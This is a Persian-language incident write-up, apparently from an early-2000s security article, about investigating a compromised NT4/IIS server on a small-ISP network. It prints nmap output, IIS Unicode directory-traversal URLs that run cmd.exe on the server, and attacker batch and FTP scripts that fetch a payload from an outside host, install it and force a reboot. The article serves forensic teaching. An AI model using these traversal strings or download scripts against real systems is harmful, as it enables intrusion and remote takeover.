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ماجرا از آنجايي شروع شد كه يكي از اقوام و مشتريهاي نزديك من با مشكل اينترنت                      
 او به صورت     T1به خصوص اينكه او تعجب كرده بود كه چرا خط               . مواجه شده بود  

نامشخصي كُند شده بود و نگران بود از اينكه شايد سيستم او گرفتار ويروس يا كرم                     
من . ه او در گذشته يك بار دچار اين مشكل شده بود            اينترنتي شده است مخصوصا اينك    

 .به او گفتم كه يك نگاهي به سيستم او خواهم كرد
با توجه به مشكل قبلي كه داشت من انتظار داشتم كه احتمالا سيستم او دوباره دچار                     
ويروس يا كرم شده است و با كمي راهنمايي و پيشنهادات ساده مي تواند آن را از                         

اما بر خلاف تصور من اين پيش داوري مانند يك كاهي بود توي              . ف كند سيستم خود حذ  
شبكه مشتري من فقط با كرمهاي ديجيتالي       . يك كوه از مشكلاتي كه او با آنها مواجهه بود         

 مورد استفاده براي انواع هكرها شده        Warez آلوده نشده بود ، بلكه به عنوان يك سرور        
 Total Kill كه   IIS١ كرم   - IRCد از تروجان    بود به خصوص به وسيله يك گونه جدي        

 .نام داشت
 

 مشتري
اين مشتري من يكي از آن دسته مشتري هايي بود كه داراي حرفه هاي كوچكي هستند و                  

در عوض آنها به وسيله اين خط به         . نيازي به يك خط اجاره اي به صورت كامل ندارند          
در .  سرويس اينترنت مي دهند     تعدادي از دوستان و اقوامشان به صورت پاره وقت هم           

نتيجه شبكه او از ميان دستان خيلي از اشخاص داراي سر رشته گذشته بود و در تمام                    
طول اين دو سال به وسيله پرسنل او پشتيباني شده بود و هر كسي از آنها هر وقت كه                      
 مي خواست مي توانست به طرحبندي و پيكربندي شبكه او اضافه يا كم كند و براي همين                 

 . شده بود٢شبكه دوست عزيز من به صورت يك توليد كننده سرويس اينترنت كوچك

                                                 
1 - IRC Trojan/IIS worm 
2 - Mini Internet Service Provider (ISP) 
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 T1 اش يك خط      ISPاو براي حرفه    
 خريداري  IPو تعداد زيادي آدرس       

كرده بود و همچنين  تجهيزاتش را ،          
در . كه بتواند آن را مديريت كند          

  IPنتيجه براي اينكه اين آدرس هاي       
ان قبلي  هدر داده نشوند يكي از مدير      

اش يك مسير ياب سيسكو و يك            
 را راه اندازي كرده       DHCPسرور  

بود و براي هر كامپيوتر داخلي يك         
 مجزا اختصاص داده بود      IPآدرس  

كه از طريق اينترنت قابل دسترس          
 .بود

در هسته اين شبكه يك كامپيوتر بود       
كه ميزبان گروه زيادي از سرويس        

در كامپيوتر يك سيستم عامل     .ها بود 
NT4                    اجرا شده بود كه به عنوان يك سرور DNS        سرور ،  DHCP    سرور ، 

Exchange          اين سرور   .   و سرور فايل عمل مي كرد        ٣ ، كنترل كننده ابتدايي دامنه ها
به خاطر  . همچنين به عنوان يك ميزبان براي برنامه پايگاه داده  شركتش عمل مي كرد                 

اد مي توانست هدف ابتدايي براي ويروس       سرويسهاي زيادي كه اين كامپيوتر ارائه مي د        
 ماه قبل از اين وضعيت اين سرويس دهنده به وسيله               ٥در حقيقت   . ها و كرمها باشد    

Nimdaمورد هجوم واقع شده بود . 
 

  بعد از ظهر–تحقيقات اوليه ، روز اول 
يگر با بيان د  . اولين چيزي كه من بايد انجام مي دادم اين بود كه وضعيت سيستم را بدانم               

من دنبال پورتهاي باز سيستم مي گشتم كه بتواند حضور يك سرويس اضافه و يا                       
 مي باشد كه من يكي از       Nmapبهترين وسيله براي اين كا برنامه       . تروجان را نشان دهد   

  موجود در     IP براي آدرس هاي      65535 تا   1آنها را نصب كردم و تمام پورتها را از            
 :ن استفاده كردم به شكل زير بوددستوري كه م. شبكه بررسي كردم

                                                 
3 - Primary domain controller  

 روي سرور اصلي nmap نتيجه برنامه – ١ليست شماره 
 مشتري

Starting nmap V 2.54BETA22
(www.insecure.org/nmap) 
Interesting ports on (192.168.0.66); 
(The ports scanned but not shown below are in
state : close) 
port  State  Service 
53/tcp  open  domain 
80/tcp  open  http 
135/tcp open  loe-srv 
137/tcp filtered  netbios-ns 
138/tcp filtered  netbios-dgm 
139/tcp filtered  netbios-ssn 
593/tcp open  http-rpe-epmap 
1029/tcp open  unknown 
1031/tcp open  iad2 
1035 tcp open  unknown 
1038/tcp open  unknown 
1042 tcp open  unknown 
1490 tcp open  unknown 
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Nmap –sS –p 1-65535 –O 192.168.x.x  
 

 كاوش خودش را تمام كرد من به سرعت خروجي را مرور كردم              Nmapبه محض اينكه    
 23 ، 21 ، 12345 ، 31337و دنبال هر چيز مشكوك و يا پورتهاي مشهور به عنوان مثال       

اضافي و يا پورتي از يك تروجان          و يا هر چيز ديگري كه نشان دهده يك سرويس                
حال آنكه تمام كامپيوتر ها جواب مثبتي روي  پورتهاي از              ! مشهور باشد ، مي گشتم       

همچنين پورت  . و بخشهاي ممكن آن بود     NetBIOS داشتند كه نشان دهنده      139  تا   135
 ) را مشاهده كنيد ١ليست .( سرور اصلي مشتري باز بود80

 
 
 

 
 باز است ، سريعا مرورگر خودم را باز كردم تا ببينم چه                ٨٠ت  بعد از متوجه شدم پور     

 معمولا براي سرور وب      80 پورت    .صفحات وبي روي اين سرور گذاشته شده است          
 به صورت معمول وجود دارد را        IISاستفاده مي شود و صفحاتي كه در هنگام نصب             

 .مشاهده كردم
تن ضعفهاي امنيتي كه وجود دارد       قدم بعدي اين بود كه سرور را جستجو كنم براي ياف           

 هاي محبوب خود را اجرا كردم و خود براي خوردن يك نوشيدني به                  ٤بنابراين پوينده 
 .طبقه پايين رفتم

من تعداد بسيار زيادي ضعفهاي و سوراخهاي        ! وقتي برگشتم نتايج ناراحت كننده بود        
كترين ضعف در سرور مي     با زبان ديگر كوچ   . را پيدا كردم    ! امنيتي و پونيكدهاي آلوده     

تواند به يك نفوذگر و يا يك كرم اينترنتي براي رسوخ به سرور كمك كند آن وقت                          
ضعفهايي كه از طريق يونيكدها وجود دارد  از قديمي ترين اين سوراخهاي امنيتي مي                    

 ها را براي    Patch و اين نشان مي داد كه مسوولين شبكه به هيچ عنوان هيچ يك از                !باشد
 . نگونه ضعف ها به كار نبرده اندرفع اي

 
 تست ضعفهاي سرور ، شب اول

با . يك نكته خوب اينجا بود كه من مي دانستم بايد جستجوهايم را  از كجا شروع كنم                     
 به سرور دستور     URLمن به وسيله اين      .  زير كارم را شروع كردم      URLاستفاده از   

 :يش دهد  را نماc:\winnt\system32 دادم كه ليست دايركتروي 
 

                                                 
4 - Wishker – Stealth – CGI4 
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http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/[ccc] 
cmd.exe?c+dir+c:\winnt\system32 
 

 . يك مرتبه سرور نتيجه را برگرداند

 . من با يك نظر سريعي كه به ليست انداختم تعدادي فايلهاي مشكوك نظرم را جلب كرد

جا بازگو مي كنم و مي گويم كه چرا آنها مشكوك             من تعداد از اين فايل را براي شما اين         
 !متاسفانه خيلي از مديران شبكه به اين گونه فايلهاي مشكوك هيچ توجه اي ندارند. بودند

• PipeCmd.exe:                 ابزاري براي كنترل از راه دور كه در سمت مشتري اجرا مي شود 
 .و به وسيله نفوذگرها استفاده مي شود

• Omnithread_tr.dll:  از سه فايل مورد استفاده براي نصب           يكي VNC    يك ابزار ، 
 .مشهور و قدرتمند براي كنترل از راه دور

• VNCHooks.dll:  دومين فايل براي نصب VNC. 

• Vnsystask.exe:         سومين فايلي كه براي نصب برنامه VNC      مورد نياز است و همه 
 .اينها از ديد كابر پنهان بوده است

• Nc.exe:  Netcatه عمومي براي اجراي دستورات از راه دور ، برنام. 

• Pw.exe:      معمولا به اسم pwdump(2).exe  برنامه اي براي استخراج    .  مشهور است
 .نام كاربران و كلمات رمز آنها

• Samdump.dll:  فايلي كه مورد نياز برنامه pw.exeمي باشد . 

يركتوري  در دا   rootkit عدد    ٢به صورت واضح ، در اين سرور نه يكي ، بلكه                      
c:\winnt\system32    و آنطور كه  من بعدها  فهميدم اين تنها يكي از              .  نصب شده بود

 اي بود كه در اين سرور براي به دست گرفتن سرور با هم رقابت مي                      rootkitدهها  
 !!!كردند

 قرار داشت در    c:\winnt\system32 كه در داخل دايركتوري       SysStatمثلا دايركتوري   
 .  ديگر بودrootkit ساخته شده بود شامل يك ٢٠٠٢سال  اكتبر ٧تاريخ 

بعد ، براي اينكه ببينم در درايو ريشه سرور ،  فايل ديگري نظرم را جلب مي كند يا نه  از                       
URL       ديگري براي نشان دادن درايو C    فكر كنم خود شما با كمي فراست       .  استفاده كردم

 : اي استفاده كردم URLبتوانيد حدس بزنيد از چه 
http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/[ccc] 
cmd.exe?c+dir+c:\ 
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در اينجا بود كه من خندم گرفت از        
اينكه شروع كرده بودم تا ببينم چه       

اما دو  . ناحيه اي آلوده شده است     
فايل در درايو ريشه بود كه نظرم        

 , Script.bat: را جلب كرد     

Script.txt  خيلي تابلو نشان       كه 
من توسط يك نفوذگر    « مي داد كه  

من تصميم    . »ساخته شده ام    
گرفتم كه محتواي آنها را بررسي        

  URLبراي اين منظور از       . كنم  
هاي زير استفاده كردم كه محتواي      

 :اين فايلها را نمايش مي دهد
http://192.168.0.66/MSADC/..%
5c..%5c..%5c..%5cwinnt/system

32/[ccc] 
cmd.exe, /c+type+c:\scripts.bat 
 
http://192.168.0.66/MSADC/..%
5c..%5c..%5c..%5cwinnt/system

32/[ccc] 
cmd.exe, /c+type+c:\scripts.txt 
 

شما هم يك نگاهي به محتواي اين        
چه نتيجه اي مي     . فايلها بياندازيد   

گيرد ؟ چه اتفاقي در سرور افتاده؟       
به نظر شما در قدم بعدي چه             

 كاري بايد انجام بدهم؟ 
 

  سرور Cليست درايو 
Volume in drive C has no label 
Volume Serial Number is DCF0-5460 
Directory of C: 
10/10/02  01:03 p   1000,000 1mb 
٠٩:٣٢ ٠٥/٢٠/٠٢a 0   
AUTOEXEC.BAT 
10/18/02 12:57a   789 bootobc.dll 
10/10/02 12:42p   223 CDIR.TXT 
05/20/02 09:32a   0 CONFIG.SYS 
10/30/02 05:53p   0 dir.txt 
11/23/99 10:04a   208,144 dns.exe 
06/07/02 11:04a   524,288 
errorlog.evt 
05/28/02 07:06p     <DIR>  exchsrvr 
10/04/02 06:38p   0 explorer.exe 
10/04/02 06:38p  0 explorer.ini 
05/20/02 10:18p    <DIR>  hpfonts 
09/24/02 06:49p    <DIR>  hplj2100 
09/29/02 01:03p   6,721,536 
httpodbc.dll 
09/27/02 09:36p    <DIR>  IIStmp 
10/18/02 01:11a    <DIR>  InetPub 
10/10/02 12:45p   6,656 
INFUSE.EXE 
10/10/02 12:43p   602 LOGIN.TXT 
10/02/02 02:17p   59,392 ncx99.exe 
10/30/02 02:47p   6,693 netstat.txt 
10/30/02 10:09a   536,870,912 
pagefile.sys 
07/24/02 01:29p    <DIR>  Program Files 
10/10/02 12:44p  81 pt.txt 
10/14/02 05:21a   1,307 ra_slave.log 
10/26/02 01:21p   716 Script.bat 
10/26/02 01:21p   95 Script.txt 
10/29/02 07:42p   1,949 
servudaemon.ini 
10/28/02 04:40p   528 
ServUStartUpLog.txt 
10/04/02 04:25p   15,000,000 
SR.CD2-H2O.r41 
09/28/02 01:33p    <DIR> TEMP 
10/10/02 12:43p   17,920 
TLIST.EXE 
06/18/02 10:00p     <DIR>  veritas 
09/28/02 01:18p     <DIR>  WIN32 
10/10/02 12:45p  496,836 
WINMGNT.EXE 
10/30/02 01:09p    <DIR>  WINNT 

35 File(s) 560,918,667 bytes 
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  Script.batمحتواي فايل 
Mkdir c:\recycler 
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117 
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash 
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash\[ccc] 
old_files 
Mkdir d:\recycler 
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117 
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash 
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash\[ccc] 
old_files 
mkdir e:\recycler 
Mkdir e:\recycler\S-1-5-21-1831738385-770969707-784038887-1117 
Mkdir e:\recycler\S-1-5-21-1831738385-770969707-784 
c:\winnt\system32\ftp -n -s:script.txt 
c:\winnt\system32\svhost.exe /i 
c:\winnt\system32\psshutdown.exe -r -l –f 

 
 

  Script.txtمحتواي فايل 
open 210.171.xxx.xxx:11515 
USER ironfredh 
hichic 
get svhost.exe 
get servudaemon.ini 
quit 

 


